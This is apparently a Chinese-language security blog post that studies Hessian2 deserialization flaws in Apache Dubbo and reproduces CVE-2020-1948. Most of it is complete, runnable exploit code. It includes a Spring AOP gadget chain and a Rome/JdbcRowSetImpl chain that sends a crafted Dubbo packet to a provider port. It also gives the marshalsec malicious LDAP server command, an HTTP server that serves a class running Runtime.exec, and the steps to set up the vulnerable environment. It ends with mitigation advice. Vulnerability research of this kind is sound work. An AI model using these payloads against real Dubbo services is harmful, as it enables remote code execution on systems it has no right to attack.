0 前言

本篇是系列文章的第一篇，主要看看Dubbo使用反序列化協議Hessian2時，存在的安全問題，文章需要RPC、Dubbo、反序列化等前提知識點，推薦先閱讀和體驗Dubbo以及反序列化漏洞，

Dubbo原始碼分析

RPC框架dubbo架構原理及使用說明

RPC 框架 Dubbo 從理解到使用（一）

[RPC 框架 Dubbo 從理解到使用（二）

1 反序列化協議-Hessian2

hessian2是由caucho開發的基于Binary-RPC協議實作的遠程通訊庫，知名Web容器Resin的也是由caucho開發的，

在java中使用hessian2進行序列化和反序列化時，通過native方法或者反射(實際也用了native方法)直接對Field進行賦值操作，與某些呼叫setter和getter方法反序列化協議不同，

1.1 目標型別別反序列化器

在使用hessian2進行序列化和反序列化操作時，會自動根據類物件選擇序列化器和反序列化器，例如在Dubbo的jar包中，有com.alibaba.com.caucho.hessian.io.Hessian2Output類，該類有writeObject方法如下

• com.alibaba.com.caucho.hessian.io.Hessian2Output#writeObject()

@Override
public void writeObject(Object object) throws IOException {
    if (object == null) {
        writeNull();
        return;
    }

    Serializer serializer;
    serializer = findSerializerFactory().getSerializer(object.getClass());
    serializer.writeObject(object, this);
}

這里的serializer物件，顯然就是通過傳入的object型別，找到對應的序列化器，然后再使用對應的序列化器，對object進行序列化，hessian2中可以序列化的型別與相應的序列化器和反序列化器對應關系如下

可以看出，Collection、Map、Iterator、Array這些常用型別都有相應的(反)序列化器

1.2 Hessian2中的gadget起始點

前面提到針對不同型別Hessian2中有相應的(反)序列化器，添加hessian2的依賴，從com.caucho.hessian.io.Hessian2Input#readObject()開始看源代碼

• com.caucho.hessian.io.Hessian2Input#readObject(Class cl)

public Object readObject(Class cl) throws IOException{
	if (cl == null || cl == Object.class) return readObject();
    
    int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
    switch (tag) {
        case 'N':
            {return null;}
        ..... // 省略
        case 'H':
          {
            Deserializer reader = findSerializerFactory().getDeserializer(cl);
            return reader.readMap(this);
          }

        case 'M':
          {
            String type = readType();
            // hessian/3bb3
            if ("".equals(type)) {
              Deserializer reader;
              reader = findSerializerFactory().getDeserializer(cl);
              return reader.readMap(this);
            }
            else {
              Deserializer reader;
              reader = findSerializerFactory().getObjectDeserializer(type, cl);
              return reader.readMap(this);
            }
          }
		..... // 省略
    }
}

這里的case中，H是HashMap的序列化標志，M是Map的序列化標志，Hessian2反序列化時，根據該標值，獲取相應的反序列化器，即Deserializer，而針對不同的型別，反序列化器還有不同的處理，這里H和M都會獲取到MapDeserializer，因此跟進該類的readMap方法

• com.caucho.hessian.io.MapDeserializer#readMap(AbstractHessianInput in)

public Object readMap(AbstractHessianInput in) throws IOException {
    Map map;

    if (_type == null)
        map = new HashMap();
    else if (_type.equals(Map.class))
        map = new HashMap();
    else if (_type.equals(SortedMap.class))
        map = new TreeMap();
    else {
        try {
            map = (Map) _ctor.newInstance();
        } catch (Exception e) {
            throw new IOExceptionWrapper(e);
        }
    }

    in.addRef(map);
    while (! in.isEnd()) {
        map.put(in.readObject(), in.readObject());
    }
    in.readEnd();
    return map;
}

可以看到，根據_type這個引數去選擇構建哪種型別的Map類，而后通過while回圈呼叫map.put方法將所有的key-value，傳遞到map中，而后回傳這個創建的Map實體，如果對Commons-Collections利用鏈比較熟悉的話，應該會想到HashMap的利用鏈，在呼叫HashMap#put方法時，會觸發HashMap#hashCode方法，并進一步呼叫key.hashCode()方法，由于key被設定為了TiedMapEntry的實體，因此一步一步進入Transformer呼叫鏈，而這里的map.put方法正是Hessian2的gadget起始點，在Dubbo中，雖然對Hessian2進行了一些魔改，但最終也會出現相同的呼叫：

2 Dubbo中的Hessian2漏洞利用

所用到的環境：

dubbo 2.7.3

springboot 1.2.0.RELEASE （spring version 4.1.3.RELEASE）

2.1 本地方法測驗

前面以及提到了，由于hessian2協議在反序列化中呼叫readObject()方法時，會呼叫根據反序列化的Map型別創建一個新的Map物件，而后呼叫該物件的put方法，因而可能造成反序列化漏洞利用，這里先自己寫一個類實驗一下

package com.bitterz.dubbo;

import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput;
import java.io.*;
import java.util.HashMap;

public class Hessian2Gadget {
    public static class MyHashMap<K, V> extends HashMap<K, V>{

        public V put(K key, V value) {
            super.put(key, value);
            System.out.println(111111111);
            try{
            Runtime.getRuntime().exec("calc");
            }catch (Exception e){}
            System.out.println(22222222);
            return  null;
        }
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        MyHashMap map = new MyHashMap();
        map.put("1", "1");
        
        // hessian2的序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream);
        hessian2Output.writeObject(map);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();

        System.out.println(new String(bytes, 0, bytes.length));
		// hessian2的反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();
        o.get(null);

        System.out.println(o);
    }

我這里創建了一個MyHashMap類繼承自HashMap，并重寫了put方法，而后在main方法中利用hessian2對MyHashMap進行序列化和反序列化操作，執行代碼后，輸出結果如下

很明顯，MyHashMap#put方法執行了兩次：

• 序列化前為了向map中添加值put了一次，所以彈出一次計算器，并輸出了111和222；

• 反序列化時，如前面所述，會呼叫到反序列化Map類的put方法去添加值，所以又彈出一次計算器，并輸出111和222；

因此Dubbo中hessian2協議確實存在被反序列化漏洞利用的可能性，但真正的Web環境中，不可能存在MyHashMap這樣的類，直接提供彈計算器的put方法:）因此還需要結合其它依賴進一步增加gadget的可利用性，

2.2 SpringPartiallyComparableAdvisorHolder

Dubbo預設依賴Spring、Javassist、netty等包，但實際開發使用中很可能用到springboot做微服務，以provider的身份提供服務，所以可以借助常用的包完成gadget的構建，常見的hessian2可用gadget主要是Resin、Rome、SpringAbstractBeanFactoryPointcutAdvisor、XBean這幾個，SpringPartiallyComparableAdvisorHolder是Spring AOP中需要用到的類，所以就以這個為例子構建一下poc，代碼如下

package com.bitterz.dubbo;

import com.caucho.hessian.io.*;
import org.apache.commons.logging.impl.NoOpLog;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;


public class Hessian2SpringGadget {
    public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
        public NoWriteReplaceSerializerFactory() {
        }

        public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
            return super.getObjectSerializer(cl);
        }

        public Serializer getSerializer(Class cl) throws HessianProtocolException {
            Serializer serializer = super.getSerializer(cl);
            return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
        }
    }

    public static class Reflections{
        public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
            Field field=null;
            Class cl = obj.getClass();
            while (cl != Object.class){
                try{
                    field = cl.getDeclaredField(fieldName);
                    if(field!=null){
                    break;}
                }
                catch (Exception e){
                    cl = cl.getSuperclass();
                }
            }
            if (field==null){
                System.out.println(obj.getClass().getName());
                System.out.println(fieldName);
            }
            field.setAccessible(true);
            field.set(obj,fieldValue);
        }

        public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }

        public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }
    }

    public static void main(String[] args) throws Exception {
        String jndiUrl = "ldap://localhost:1389/ExecTest";
        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
        bf.setShareableResources(jndiUrl);

        //反序列化時BeanFactoryAspectInstanceFactory.getOrder會被呼叫，會觸發呼叫SimpleJndiBeanFactory.getType->SimpleJndiBeanFactory.doGetType->SimpleJndiBeanFactory.doGetSingleton->SimpleJndiBeanFactory.lookup->JndiTemplate.lookup
        Reflections.setFieldValue(bf, "logger", new NoOpLog());
        Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

        //反序列化時AspectJAroundAdvice.getOrder會被呼叫，會觸發BeanFactoryAspectInstanceFactory.getOrder
        AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
        Reflections.setFieldValue(aif, "beanFactory", bf);
        Reflections.setFieldValue(aif, "name", jndiUrl);

        //反序列化時AspectJPointcutAdvisor.getOrder會被呼叫，會觸發AspectJAroundAdvice.getOrder
        AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
        Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

        //反序列化時PartiallyComparableAdvisorHolder.toString會被呼叫，會觸發AspectJPointcutAdvisor.getOrder
        AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
        Reflections.setFieldValue(advisor, "advice", advice);

        //反序列化時Xstring.equals會被呼叫，會觸發PartiallyComparableAdvisorHolder.toString
        Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
        Object pcah = Reflections.createWithoutConstructor(pcahCl);
        Reflections.setFieldValue(pcah, "advisor", advisor);

        //反序列化時HotSwappableTargetSource.equals會被呼叫，觸發Xstring.equals
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));

        //反序列化時HashMap.putVal會被呼叫，觸發HotSwappableTargetSource.equals，這里沒有直接使用HashMap.put設定值，直接put會在本地觸發利用鏈，所以使用marshalsec使用了比較特殊的處理方式，
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        // 避免序列化時觸發gadget
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);


        // hessian2序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(sf);
        hessian2Output.writeObject(s);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();

        // hessian2反序列化
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();

    }
}

還需要用marshalsec開一個惡意ldap服務

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

其中ExecTest.class由如下代碼編譯而成

import java.io.IOException;
public class ExecTest {
    public ExecTest() throws IOException {
        final Process process = Runtime.getRuntime().exec("calc");
    }
}

之后用python在ExecTest.class檔案目錄中開啟檔案下載服務

py -3 -m http.server 8090

運行前面的gadget，ldap服務收到請求，并讓客戶端訪問8090埠下載.class檔案，并執行該類的無參構造方法，彈出計算器

前面的gadget在注釋中已經寫明了具體的觸發路徑，就不做詳細的展開了，可以將ExecTest.java中彈計算器的代碼替換成new java.io.IOException().printStackTrace();，再跟蹤呼叫堆疊即可，這個gadget在springboot下無法復現成功，可能是springboot中aop相關類有一些修改

2.3 Rome (CVE-2020-1948復現)

Rome是java中實作RSS訂閱的包，依賴如下

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.8.0</version>
</dependency>

這里復現CVE-2020-1948(Apache Dubbo Provider 反序列化)

• 首先下載zookeeper

wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
tar zxvf zookeeper-3.3.3.tar.gz
cd zookeeper-3.3.3
cp conf/zoo_sample.cfg conf/zoo.cfg

• 配置

vim conf/zoo.cfg

# The number of milliseconds of each tick
tickTime=2000
# The number of ticks that the initial
# synchronization phase can take
initLimit=10
# The number of ticks that can pass between
# sending a request and getting an acknowledgement
syncLimit=5
# the directory where the snapshot is stored.
dataDir=/絕對路徑/zookeeper-3.3.3/data
# the port at which the clients will connect
clientPort=2181

• 修改絕對路徑，在data目錄下放置一個myid檔案

mkdir data
touch data/myid

• 啟動zookeeper

cd /private/var/tmp/zookeeper-3.3.3/bin
./zkServer.sh start

• 安裝dubbo-samples

git clone https://github.com/apache/dubbo-samples.git
cd dubbo-samples/dubbo-samples-api

• 修改dubbo-samples/dubbo-samples-api/pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>dubbomytest</artifactId>
    <packaging>pom</packaging>
    <version>1.0-SNAPSHOT</version>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>8</source>
                    <target>8</target>
                </configuration>
            </plugin>
        </plugins>
    </build>


    <properties>
        <source.level>1.8</source.level>
        <target.level>1.8</target.level>
        <dubbo.version>2.7.6</dubbo.version>
        <junit.version>4.12</junit.version>
        <docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
        <jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
        <maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
        <maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
        <image.name>${project.artifactId}:${dubbo.version}</image.name>
        <java-image.name>openjdk:8</java-image.name>
        <dubbo.port>20880</dubbo.port>
        <zookeeper.port>2181</zookeeper.port>
        <main-class>org.apache.dubbo.samples.provider.Application</main-class>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo</artifactId>
            <version>2.7.3</version>
        </dependency>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo-common</artifactId>
            <version>2.7.3</version>
        </dependency>

        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo-dependencies-zookeeper</artifactId>
            <version>2.7.3</version>
            <type>pom</type>
        </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.8.0</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>${junit.version}</version>
            <scope>test</scope>
        </dependency>

    </dependencies>

</project>

• 編譯啟動

mvn clean package
或者直接在idea里面啟動provider/Application.java

注意修改zookeeper和dubbo的埠，啟動后輸出dubbo service started即表示dubbo已啟動

使用的payload如下

import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Random;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import com.caucho.hessian.io.*;
import sun.reflect.ReflectionFactory;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class Hessian2RomeGadget {
    public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
        public NoWriteReplaceSerializerFactory() {
        }

        public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
            return super.getObjectSerializer(cl);
        }

        public Serializer getSerializer(Class cl) throws HessianProtocolException {
            Serializer serializer = super.getSerializer(cl);
            return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
        }
    }

    public static class Reflections{
        public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
            Field field=null;
            Class cl = obj.getClass();
            while (cl != Object.class){
                try{
                    field = cl.getDeclaredField(fieldName);
                    if(field!=null){
                        break;}
                }
                catch (Exception e){
                    cl = cl.getSuperclass();
                }
            }
            if (field==null){
                System.out.println(obj.getClass().getName());
                System.out.println(fieldName);
            }
            field.setAccessible(true);
            field.set(obj,fieldValue);
        }

        public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }

        public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }
    }

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        //todo 此處填寫ldap url
        rs.setDataSourceName("ldap://127.0.0.1:1389/ExecTest");
        rs.setMatchColumn("foo");
        Reflections.setFieldValue(rs, "listeners",null);

        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

        HashMap s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
        Reflections.setFieldValue(s, "table", tbl);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
        NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);

        out.writeObject(s);

        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //todo 此處填寫被攻擊的dubbo服務提供者地址和埠
        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}

和前面2.2一樣，用marshalsec開啟jndi服務，再用python開個檔案下載服務，然后執行payload，向dubbo發送惡意資料，而后在dubbo provider中反序列化觸發相應的gadget，實作rce，效果如下

該漏洞在Dubbo 2.7.8中被修復，通過添加黑名單的形式過濾了關鍵類

總結

dubbo中的hessian2反序列化時，處理map型別的物件會呼叫map.get方法，而get方法在HashMap的實作中會設計到hashCode、equals方法的呼叫，從而給某些危險的類方法呼叫造成了可乘之機，而dubbo使用hessian2作為默認的反序列化協議，容易被發起反序列化漏洞攻擊，應當使用白名單過濾反序列化類名，另外有大佬提到，使用黑名單的情況下，物件被反序列化后，呼叫物件的其它方法，也可能造成威脅http://rui0.cn/archives/1338

這一篇是Dubbo反序列化研究記錄的開始，后面還將針對

• Dubbo 2.x下的kryo、fst反序列化漏洞進行學習和研究(CVE-2021-25641)
• 基于kryo的akka協議在flink中的漏洞進行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
• 以及Dubbo 3.x下的triple協議產生的安全漏洞進行挖掘(https://bcs.qianxin.com/live/show.php?itemid=33)
• 漏洞復現：CVE-2021-30180：Apache Dubbo YAML 反序列化漏洞、CVE-2021-30181：Apache Dubbo Nashorn 腳本遠程代碼執行漏洞、CVE-2021-30179：Apache Dubbo Generic filter 遠程代碼執行漏洞、CVE-2021-32824：Apache Dubbo Telnet handler 遠程代碼執行漏洞復現

標籤：其他

上一篇：內網滲透代理之MSF篇

下一篇：大廠面試結束后，她很后悔這5年來一直都干的是 “ 點工 ”（功能測驗）